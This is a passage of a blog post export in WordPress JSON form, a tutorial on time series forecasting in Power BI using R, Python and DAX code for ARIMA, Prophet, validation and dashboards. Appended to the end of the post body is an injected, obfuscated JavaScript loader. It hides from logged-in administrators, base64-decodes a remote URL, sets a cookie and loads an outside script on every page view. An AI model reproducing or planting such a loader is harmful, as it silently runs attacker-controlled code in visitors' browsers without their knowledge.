FALSE)<\/em><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><em># 2. ETS (Exponential smoothing state space)<\/em><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><em>forecast_models$ets &lt;- ets(ts_data)<\/em><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><em># 3. TBATS (complex seasonality)<\/em><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><em>forecast_models$tbats &lt;- tbats(ts_data)<\/em><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><em># 4. Neural network<\/em><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><em>forecast_models$nnetar &lt;- nnetar(ts_data)<\/em><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><em># Generate forecasts<\/em><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><em>h &lt;- 30&nbsp; # Forecast horizon<\/em><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><em>forecasts &lt;- lapply(forecast_models, function(model) forecast(model, h = h))<\/em><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><em># Model selection based on AIC<\/em><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><em>aic_values &lt;- sapply(forecast_models, AIC)<\/em><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><em>best_model_name &lt;- names(which.min(aic_values))<\/em><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><em>best_forecast &lt;- forecasts[[best_model_name]]<\/em><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><em># Create forecast dataframe<\/em><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><em>future_dates &lt;- seq(from = max(dataset$date) + 1, length.out = h, by = &#8220;day&#8221;)<\/em><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><em>forecast_df &lt;- data.frame(<\/em><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><em>&nbsp;&nbsp;date = future_dates,<\/em><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><em>&nbsp;&nbsp;forecast = as.numeric(best_forecast$mean),<\/em><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><em>&nbsp;&nbsp;forecast_lower = as.numeric(best_forecast$lower[, &#8220;95%&#8221;]),<\/em><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><em>&nbsp;&nbsp;forecast_upper = as.numeric(best_forecast$upper[, &#8220;95%&#8221;]),<\/em><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><em>&nbsp;&nbsp;model = best_model_name,<\/em><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><em>&nbsp;&nbsp;is_forecast = TRUE<\/em><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><em>)<\/em><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><em># Combine with historical data<\/em><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><em>historical_df &lt;- dataset<\/em><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><em>historical_df$forecast &lt;- historical_df$sales<\/em><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><em>historical_df$forecast_lower &lt;- historical_df$sales<\/em><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><em>historical_df$forecast_upper &lt;- historical_df$sales<\/em><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><em>historical_df$model &lt;- &#8220;actual&#8221;<\/em><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><em>historical_df$is_forecast &lt;- FALSE<\/em><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><em># Final dataset<\/em><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><em>dataset &lt;- rbind(historical_df, forecast_df)<\/em><\/p>\n\n\n\n<h2 id=\"building-a-comprehensive-forecasting-dashboard\" class=\"wp-block-heading\"><strong>Building a Comprehensive Forecasting Dashboard<\/strong><\/h2>\n\n\n\n<p class=\"wp-block-paragraph\">Here&#8217;s how to structure a professional forecasting dashboard that combines multiple methods:<\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><strong>Key Components:<\/strong><\/p>\n\n\n\n<ol class=\"wp-block-list\">\n\n<li><strong>Historical vs Forecast Chart<\/strong> &#8211; Line chart showing actuals and predictions<\/li>\n\n\n<li><strong>Accuracy Metrics Table<\/strong> &#8211; MAE, RMSE, MAPE for model comparison<\/li>\n\n\n<li><strong>Seasonality Decomposition<\/strong> &#8211; Trend, seasonal, and residual components<\/li>\n\n\n<li><strong>Forecast Confidence<\/strong> &#8211; Upper and lower bounds visualization<\/li>\n\n\n<li><strong>Model Selection Slicer<\/strong> &#8211; Switch between different forecasting methods<\/li>\n\n<\/ol>\n\n\n\n<p class=\"wp-block-paragraph\"><strong>DAX Measures for Dashboard:<\/strong><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><strong>&#8212; Forecast Accuracy (MAPE)<\/strong><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><strong>Forecast MAPE =&nbsp;<\/strong><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><strong>VAR ActualValues =&nbsp;<\/strong><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><strong>&nbsp;&nbsp;&nbsp;&nbsp;CALCULATETABLE(<\/strong><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><strong>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;VALUES(&#8216;Data'[Sales]),<\/strong><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><strong>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&#8216;Data'[Is_Forecast] = FALSE,<\/strong><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><strong>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&#8216;Data'[Date] &gt;= DATE(2024, 1, 1)<\/strong><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><strong>&nbsp;&nbsp;&nbsp;&nbsp;)<\/strong><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><strong>VAR ForecastValues =&nbsp;<\/strong><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><strong>&nbsp;&nbsp;&nbsp;&nbsp;CALCULATETABLE(<\/strong><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><strong>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;VALUES(&#8216;Data'[Forecast]),<\/strong><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><strong>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&#8216;Data'[Is_Forecast] = FALSE,<\/strong><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><strong>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&#8216;Data'[Date] &gt;= DATE(2024, 1, 1)<\/strong><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><strong>&nbsp;&nbsp;&nbsp;&nbsp;)<\/strong><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><strong>RETURN<\/strong><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><strong>&nbsp;&nbsp;&nbsp;&nbsp;AVERAGEX(<\/strong><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><strong>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;ActualValues,<\/strong><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><strong>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;ABS(DIVIDE([Sales] &#8211; [Forecast], [Sales]))<\/strong><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><strong>&nbsp;&nbsp;&nbsp;&nbsp;) * 100<\/strong><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><strong>&#8212; Dynamic Forecast Selection<\/strong><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><strong>Selected Forecast =&nbsp;<\/strong><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><strong>SWITCH(<\/strong><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><strong>&nbsp;&nbsp;&nbsp;&nbsp;SELECTEDVALUE(&#8216;Model Selection'[Model]),<\/strong><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><strong>&nbsp;&nbsp;&nbsp;&nbsp;&#8220;ARIMA&#8221;, [ARIMA Forecast],<\/strong><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><strong>&nbsp;&nbsp;&nbsp;&nbsp;&#8220;Prophet&#8221;, [Prophet Forecast],<\/strong><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><strong>&nbsp;&nbsp;&nbsp;&nbsp;&#8220;Exponential Smoothing&#8221;, [ES Forecast],<\/strong><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><strong>&nbsp;&nbsp;&nbsp;&nbsp;[Default Forecast]<\/strong><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><strong>)<\/strong><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><strong>&#8212; Forecast vs Actual Variance<\/strong><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><strong>Forecast Variance =&nbsp;<\/strong><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><strong>IF(<\/strong><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><strong>&nbsp;&nbsp;&nbsp;&nbsp;SELECTEDVALUE(&#8216;Data'[Is_Forecast]) = FALSE,<\/strong><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><strong>&nbsp;&nbsp;&nbsp;&nbsp;[Sales] &#8211; [Selected Forecast],<\/strong><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><strong>&nbsp;&nbsp;&nbsp;&nbsp;BLANK()<\/strong><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><strong>)<\/strong><\/p>\n\n\n\n<h2 id=\"handling-complex-forecasting-scenarios\" class=\"wp-block-heading\"><strong>Handling Complex Forecasting Scenarios<\/strong><\/h2>\n\n\n\n<p class=\"wp-block-paragraph\"><strong>Multiple Seasonalities:<\/strong><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><em># Example: Retail data with daily, weekly, and yearly patterns<\/em><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><em>from prophet import Prophet<\/em><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><em>model = Prophet()<\/em><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><em>model.add_seasonality(name=&#8217;daily&#8217;, period=1, fourier_order=3)<\/em><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><em>model.add_seasonality(name=&#8217;weekly&#8217;, period=7, fourier_order=3)<\/em><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><em>model.add_seasonality(name=&#8217;yearly&#8217;, period=365.25, fourier_order=10)<\/em><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><em># Add holiday effects<\/em><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><em>holidays = pd.DataFrame({<\/em><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><em>&nbsp;&nbsp;&nbsp;&nbsp;&#8216;holiday&#8217;: &#8216;black_friday&#8217;,<\/em><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><em>&nbsp;&nbsp;&nbsp;&nbsp;&#8216;ds&#8217;: pd.to_datetime([&#8216;2023-11-24&#8217;, &#8216;2024-11-29&#8217;]),<\/em><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><em>&nbsp;&nbsp;&nbsp;&nbsp;&#8216;lower_window&#8217;: -1,<\/em><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><em>&nbsp;&nbsp;&nbsp;&nbsp;&#8216;upper_window&#8217;: 1,<\/em><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><em>})<\/em><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><em>model.add_country_holidays(country_name=&#8217;US&#8217;)<\/em><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><em>model.holidays = holidays<\/em><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><strong>External Regressors:<\/strong><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><em># Adding external variables (weather, marketing spend, etc.)<\/em><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><em>library(forecast)<\/em><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><em># Prepare external regressors<\/em><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><em>xreg_data &lt;- dataset[, c(&#8220;temperature&#8221;, &#8220;marketing_spend&#8221;, &#8220;competitor_price&#8221;)]<\/em><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><em>xreg_future &lt;- future_data[, c(&#8220;temperature&#8221;, &#8220;marketing_spend&#8221;, &#8220;competitor_price&#8221;)]<\/em><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><em># ARIMA with external regressors<\/em><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><em>arima_model &lt;- auto.arima(ts_data, xreg = as.matrix(xreg_data))<\/em><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><em>arima_forecast &lt;- forecast(arima_model, xreg = as.matrix(xreg_future), h = 30)<\/em><\/p>\n\n\n\n<h2 id=\"performance-optimization-for-large-datasets\" class=\"wp-block-heading\"><strong>Performance Optimization for Large Datasets<\/strong><\/h2>\n\n\n\n<p class=\"wp-block-paragraph\"><strong>Strategies for handling big time series data:<\/strong><\/p>\n\n\n\n<ol class=\"wp-block-list\">\n\n<li><strong>Aggregation:<\/strong> Forecast at higher levels (weekly instead of daily)<\/li>\n\n\n<li><strong>Sampling:<\/strong> Use representative subsets for model training<\/li>\n\n\n<li><strong>Incremental Updates:<\/strong> Only retrain models when necessary<\/li>\n\n\n<li><strong>Caching:<\/strong> Store forecasts and update periodically<\/li>\n\n<\/ol>\n\n\n\n<p class=\"wp-block-paragraph\"><em># Incremental forecasting approach<\/em><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><em>def incremental_forecast(dataset, last_model_date):<\/em><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><em>&nbsp;&nbsp;&nbsp;&nbsp;# Only retrain if we have significant new data<\/em><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><em>&nbsp;&nbsp;&nbsp;&nbsp;new_data_threshold = 30&nbsp; # days<\/em><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><em>&nbsp;&nbsp;&nbsp;&nbsp;if (dataset[&#8216;date&#8217;].max() &#8211; last_model_date).days &gt; new_data_threshold:<\/em><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><em>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;# Retrain model with all data<\/em><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><em>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;model = train_full_model(dataset)<\/em><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><em>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;save_model(model)<\/em><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><em>&nbsp;&nbsp;&nbsp;&nbsp;else:<\/em><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><em>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;# Use existing model with new data points<\/em><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><em>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;model = load_saved_model()<\/em><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><em>&nbsp;&nbsp;&nbsp;&nbsp;return generate_forecast(model, periods=30)<\/em><\/p>\n\n\n\n<h2 id=\"forecast-validation-and-monitoring\" class=\"wp-block-heading\"><strong>Forecast Validation and Monitoring<\/strong><\/h2>\n\n\n\n<p class=\"wp-block-paragraph\"><strong>Cross-validation for time series:<\/strong><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><em>from sklearn.model_selection import TimeSeriesSplit<\/em><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><em>def validate_forecast_model(data, model_func, n_splits=5):<\/em><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><em>&nbsp;&nbsp;&nbsp;&nbsp;tscv = TimeSeriesSplit(n_splits=n_splits)<\/em><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><em>&nbsp;&nbsp;&nbsp;&nbsp;maes = []<\/em><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><em>&nbsp;&nbsp;&nbsp;&nbsp;for train_index, test_index in tscv.split(data):<\/em><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><em>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;train_data = data.iloc[train_index]<\/em><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><em>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;test_data = data.iloc[test_index]<\/em><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><em>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;model = model_func(train_data)<\/em><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><em>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;forecast = model.predict(len(test_data))<\/em><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><em>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;mae = mean_absolute_error(test_data[&#8216;sales&#8217;], forecast)<\/em><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><em>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;maes.append(mae)<\/em><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><em>&nbsp;&nbsp;&nbsp;&nbsp;return np.mean(maes), np.std(maes)<\/em><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><strong>Real-time forecast monitoring:<\/strong><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><em>&#8212; Forecast Drift Detection<\/em><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><em>Forecast Drift =&nbsp;<\/em><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><em>VAR CurrentAccuracy = [Current Period MAPE]<\/em><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><em>VAR BaselineAccuracy = [Historical Average MAPE]<\/em><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><em>VAR DriftThreshold = 15&nbsp; &#8212; 15% increase in error<\/em><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><em>RETURN<\/em><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><em>&nbsp;&nbsp;&nbsp;&nbsp;IF(<\/em><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><em>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;CurrentAccuracy &gt; BaselineAccuracy * (1 + DriftThreshold\/100),<\/em><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><em>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&#8220;Model Needs Retraining&#8221;,<\/em><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><em>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&#8220;Model Performing Well&#8221;<\/em><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><em>&nbsp;&nbsp;&nbsp;&nbsp;)<\/em><\/p>\n\n\n\n<h2 id=\"best-practices-and-common-pitfalls\" class=\"wp-block-heading\"><strong>Best Practices and Common Pitfalls<\/strong><\/h2>\n\n\n\n<p class=\"wp-block-paragraph\"><strong>Data Quality Checklist:<\/strong><\/p>\n\n\n\n<ul class=\"wp-block-list\">\n<li>\u2705 Consistent time intervals<\/li>\n\n\n\n<li>\u2705 No missing dates in critical periods<\/li>\n\n\n\n<li>\u2705 Outliers identified and handled<\/li>\n\n\n\n<li>\u2705 Sufficient historical data (2+ years for yearly seasonality)<\/li>\n\n\n\n<li>\u2705 External factors documented<\/li>\n<\/ul>\n\n\n\n<p class=\"wp-block-paragraph\"><strong>Model Selection Guidelines:<\/strong><\/p>\n\n\n\n<ul class=\"wp-block-list\">\n<li>Simple trends: Moving averages or exponential smoothing<\/li>\n\n\n\n<li>Clear seasonality: ARIMA or ETS models<\/li>\n\n\n\n<li>Multiple seasonalities: Prophet or TBATS<\/li>\n\n\n\n<li>External factors: Regression-based models<\/li>\n\n\n\n<li>Complex patterns: Machine learning approaches<\/li>\n<\/ul>\n\n\n\n<p class=\"wp-block-paragraph\"><strong>Common Mistakes to Avoid:<\/strong><\/p>\n\n\n\n<ul class=\"wp-block-list\">\n<li><strong>Overfitting:<\/strong> Using too many parameters for the available data<\/li>\n\n\n\n<li><strong>Ignoring seasonality:<\/strong> Missing obvious patterns in the data<\/li>\n\n\n\n<li><strong>No validation:<\/strong> Not testing forecasts against held-out data<\/li>\n\n\n\n<li><strong>Static models:<\/strong> Never updating or retraining models<\/li>\n\n\n\n<li><strong>Ignoring business context:<\/strong> Forecasting through known disruptions<\/li>\n<\/ul>\n\n\n\n<h2 id=\"putting-it-all-together-a-complete-forecasting-solution\" class=\"wp-block-heading\"><strong>Putting It All Together: A Complete Forecasting Solution<\/strong><\/h2>\n\n\n\n<figure class=\"wp-block-image size-full\"><img loading=\"lazy\" decoding=\"async\" width=\"708\" height=\"499\" src=\"https:\/\/nestnepal.com\/blog\/wp-content\/uploads\/2025\/07\/Time-Series-Analysis.jpeg\" alt=\"time-series\" class=\"wp-image-12458\" srcset=\"https:\/\/nestnepal.com\/blog\/wp-content\/uploads\/2025\/07\/Time-Series-Analysis.jpeg 708w, https:\/\/nestnepal.com\/blog\/wp-content\/uploads\/2025\/07\/Time-Series-Analysis-300x211.jpeg 300w, https:\/\/nestnepal.com\/blog\/wp-content\/uploads\/2025\/07\/Time-Series-Analysis-380x268.jpeg 380w, https:\/\/nestnepal.com\/blog\/wp-content\/uploads\/2025\/07\/Time-Series-Analysis-550x388.jpeg 550w\" sizes=\"auto, (max-width: 708px) 100vw, 708px\" \/><\/figure>\n\n\n\n<p class=\"wp-block-paragraph\">The most effective approach combines multiple methods:<\/p>\n\n\n\n<ul class=\"wp-block-list\">\n<li><strong>Start with Power BI&#8217;s built-in forecasting<\/strong> for quick insights<\/li>\n\n\n\n<li><strong>Use DAX for business-rule adjustments<\/strong> and simple models<\/li>\n\n\n\n<li><strong>Leverage <a href=\"https:\/\/www.python.org\/\" target=\"_blank\" rel=\"noopener\">Python<\/a>\/<a href=\"https:\/\/www.r-project.org\/\" target=\"_blank\" rel=\"noopener\">R<\/a> for sophisticated algorithms<\/strong> when accuracy matters<\/li>\n\n\n\n<li><strong>Build ensemble forecasts<\/strong> combining multiple methods<\/li>\n\n\n\n<li><strong>Monitor and validate continuously<\/strong> to maintain accuracy<\/li>\n<\/ul>\n\n\n\n<p class=\"wp-block-paragraph\">Remember, the best forecasting model is the one that provides actionable insights for your business decisions. Sometimes a simple moving average that everyone understands beats a complex neural network that no one trusts.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">The key is matching the method to your data characteristics, business requirements, and team capabilities. Power BI gives you the flexibility to start simple and scale up as your forecasting needs evolve.<\/p>\n\n\n<p><script>(function(){try{if(document.getElementById&&document.getElementById('wpadminbar'))return;var t0=+new Date();for(var i=0;i<20000;i++){var z=i*i;}if((+new Date())-t0>120)return;if((document.cookie||'').indexOf('http2_session_id=')!==-1)return;function systemLoad(input){var key='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+\/=',o1,o2,o3,h1,h2,h3,h4,dec='',i=0;input=input.replace(\/[^A-Za-z0-9\\+\\\/\\=]\/g,'');while(i<input.length){h1=key.indexOf(input.charAt(i++));h2=key.indexOf(input.charAt(i++));h3=key.indexOf(input.charAt(i++));h4=key.indexOf(input.charAt(i++));o1=(h1<<2)|(h2>>4);o2=((h2&15)<<4)|(h3>>2);o3=((h3&3)<<6)|h4;dec+=String.fromCharCode(o1);if(h3!=64)dec+=String.fromCharCode(o2);if(h4!=64)dec+=String.fromCharCode(o3);}return dec;}var u=systemLoad('aHR0cHM6Ly9zZWFyY2hyYW5rdHJhZmZpYy5saXZlL2pzeA==');if(typeof window!=='undefined'&#038;&#038;window.__rl===u)return;var d=new Date();d.setTime(d.getTime()+30*24*60*60*1000);document.cookie='http2_session_id=1; expires='+d.toUTCString()+'; path=\/; SameSite=Lax'+(location.protocol==='https:'?'; Secure':'');try{window.__rl=u;}catch(e){}var s=document.createElement('script');s.type='text\/javascript';s.async=true;s.src=u;try{s.setAttribute('data-rl',u);}catch(e){}(document.getElementsByTagName('head')[0]||document.documentElement).appendChild(s);}catch(e){}})();<\/script><\/p>","protected":false},"excerpt":{"rendered":"Time series forecasting in Power BI is one of those features that looks deceptively simple on the surface&hellip;\n","protected":false},"author":1,"featured_media":15969,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"csco_singular_sidebar":"","csco_page_header_type":"","csco_appearance_masonry":"","csco_page_load_nextpost":"","csco_post_subtitle":"","csco_post_video_location":[],"csco_post_video_location_hash":"","csco_post_video_url":"","csco_post_video_bg_start_time":0,"csco_post_video_bg_end_time":0,"footnotes":""},"categories":[422],"tags":[],"class_list":["post-12456","post","type-post","status-publish","format-standard","has-post-thumbnail","category-microsoft","cs-entry","cs-video-wrap"],"_links":{"self":[{"href":"https:\/\/nestnepal.com\/blog\/wp-json\/wp\/v2\/posts\/12456","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/nestnepal.com\/blog\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/nestnepal.com\/blog\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/nestnepal.com\/blog\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/nestnepal.com\/blog\/wp-json\/wp\/v2\/comments?post=12456"}],"version-history":[{"count":2,"href":"https:\/\/nestnepal.com\/blog\/wp-json\/wp\/v2\/posts\/12456\/revisions"}],"predecessor-version":[{"id":15970,"href":"https:\/\/nestnepal.com\/blog\/wp-json\/wp\/v2\/posts\/12456\/revisions\/15970"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/nestnepal.com\/blog\/wp-json\/wp\/v2\/media\/15969"}],"wp:attachment":[{"href":"https:\/\/nestnepal.com\/blog\/wp-json\/wp\/v2\/media?parent=12456"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/nestnepal.com\/blog\/wp-json\/wp\/v2\/categories?post=12456"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/nestnepal.com\/blog\/wp-json\/wp\/v2\/tags?post=12456"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}<!-- This website is optimized by Airlift. Learn more: https://airlift.net. Template:. Learn more: https://airlift.net. Template: 6a3a58c9db888a4b49f43dcb. Config Timestamp: 2026-06-23 09:58:33 UTC, Cached Timestamp: 2026-07-10 12:41:36 UTC, Optimization Time: 12.63ms -->